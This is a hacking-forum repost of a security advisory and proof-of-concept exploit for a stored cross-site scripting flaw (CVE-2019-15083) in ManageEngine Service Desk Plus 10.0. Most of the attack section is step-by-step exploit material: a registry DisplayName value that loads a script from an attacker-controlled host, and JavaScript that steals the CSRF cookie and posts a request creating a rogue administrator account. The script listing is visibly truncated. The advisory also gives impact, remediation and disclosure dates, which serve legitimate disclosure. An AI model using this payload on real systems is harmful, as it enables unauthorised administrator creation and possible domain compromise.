Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

ManageEngine Service Desk 10.0 - Cross-Site Scripting



Recommended Posts

# Exploit Title: ManageEngine Service Desk 10.0 - Cross-Site Scripting
# Date: 2020-05-14
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/service-desk/download.html
# Version: 10.0 (10000.0.0.0)
# Tested on: Windows 10 
# CVE : CVE-2019-15083

[SPUK-2020-05/ManageEngine Service Desk XSS in remote IT Assets Management  ]------------------------------

SECURITY ADVISORY:   SPUK-2019-04/ManageEngine Service Desk XSS in remote IT Assets Management 

Affected Software:   ManageEngine Service Desk Plus (version 10.0, installer version 10000.0.0.0, SHA1: 86EA684666CE85AF710CA9805B7FF37E3D4FD65D)
Vulnerability:       Cross-Site Scripting
CVE:                 CVE-2019-15083
CVSSv3:              5.9 (CVSS:3.0/AV:A/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N)
Severity:            Medium
Release Date:        2020-05-14

I. Background

From ManageEngine's website:

"ServiceDesk Plus is a game changer in turning IT teams from daily fire-fighting to delivering awesome customer service. It provides great visibility and central control in dealing with IT issues to ensure that businesses suffer no downtime. For 10 years and running, it has been delivering smiles to millions of IT folks, end users, and stakeholders alike.

Version Enterprise: help desk + ITIL + asset + project

The complete ITIL ready ITSM suite with all features that an IT service desk needs.

* Incident management
* Problem management
* Change management
* IT project management
* Service catalog
* Asset management

II. Description

From wks administrator to Manage Engine Administrator:

Default installations of "ManageEngine ServiceDesk Plus 10.0" were found to be vulnerable to a XSS injected by a workstation local administrator. Using the installed program names of the computer as a vector, the local administrator can execute JavaScript code on the Manage Engine ServiceDesk administrator side.

On "Asset Home > Server > <workstation> > software" the administrator of ManageEngine can control what software is installed on the workstation. This table shows all the installed program names on the column "Software". In this field and probably in others, a remote attacker can inject malicious code in order to execute it when the ManageEngine admnistrator visualizes this page.

In this case, the provided proof of concept creates a administrator user on ManageEngine Service Desk.


1. Access to the workstation managed by ManageEngine with a local administrator account.
2. Open regedit.exe as administrator
3. Navigate to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\<program>"
4. Change the current "DisplayName" to this value:
	test</a><script src=http://<attacker_ip>/addadmin.js type="text/javascript"/><a>bla
5. On the root of <attacker_ip> web server, deploy the file "addadmin.js" with this content:
	var createAdminParams= "sdpcsrfparam=<TOKEN>&mode=new&loginPermitted=null&loggedUserId=4&userID=-1&divToShow=listView&firstName=Legituser+4&middleName=L&lastName=Inocent+4&fullName=Legituser+4+L+Inocent+4&ciTypeId=6&ciId=null&employeeID=666&CI_BaseElement_IMPACTID=null&ciDescription=&ciName=Legituser+4+L+Inocent+4&email=&phone=&mobile=&smsID=&cost=0.00&deptName=None&reportingToid=&reportingTo=&jobTitle=&isSDSiteAdmin=false&associatedSites=null&projectrole=null&canApproveSR=false&approveLimitValue=&provideLogin=on&sdpAPIKey=&apiKeyExpiry=&userName=legituser4&addNewLogin=true&userPwd=legituser&confirmUserPwd=legituser&userDomain=None&isAdmin=SDAdmin&assignedRoles=2&dcRole=DCAdmin&froModuleForUDF=TECH&addButton=Save";

	// Save the CSRF cookie into a variable
	var sdpcsrfcookie;
	carr = document.cookie.split(";");
	for (i=0;i<carr.length;i++){
		if (carr[i].split("=")[0].trim() == "sdpcsrfcookie"){

	if (sdpcsrfcookie === undefined){
		console.log("No CSRF cookie was found. Aborting the PoC :-(")
	else {
		var ajaxreq = new XMLHttpRequest();
		ajaxreq.open('POST', '/TechnicianDef.do');
		ajaxreq.withCredentials = true;  
		ajaxreq.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml");
		ajaxreq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		console.log("Creating a new user on Manage Engine with CSRF token: "+sdpcsrfcookie);
		// Update the CSRF token parameter with the token present in the user cookie
		params = createAdminParams.replace("<TOKEN>",sdpcsrfcookie);
		console.log("posting to create a new admin user: "+params);
6. Reboot the workstation to forthe the agent to update the program list.
7. Now, login as the administrator of ManageEngine SelfService.
8. Navigate to "Asset Home > Server > <workstation> > software"
9. Click on "Next" button until the software name is visualized on the table.
10. Now, go to "Admin > Users > Technicians" and verify that the administrator user "legituser4 " has been created.

III. Impact

The XSS can be injected remotely from any workstation that is being managed by ManageEngine ServiceDesk with no need for the attacker to access the web application. This PoC shows the creation of an administrator of ManageEngine, but it can be potentially used to create Domain Admin users if the service is configured properly, therefore, compromising the whole domain where the workstation is in.

CVSS 3.0 Score:


IV. Remediation

Sanitize all the input from the remote agents before showing the values in the web page. Use typical XSS protection also for values that are not directly input on web formularies of the application.

V. Disclosure

Reported By: Felipe Molina de la Torre (Felipe (at) SensePost.com)

Vendor Informed:              2019-04-30
Patch Release Date:           2019-04-16
Publick Ack. of the vuln:     2020-05-13
Advisory Release Date:        2020-05-14

---------------------------------[SPUK-2020-05/ManageEngine Service Desk XSS in remote IT Assets Management  ]---
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...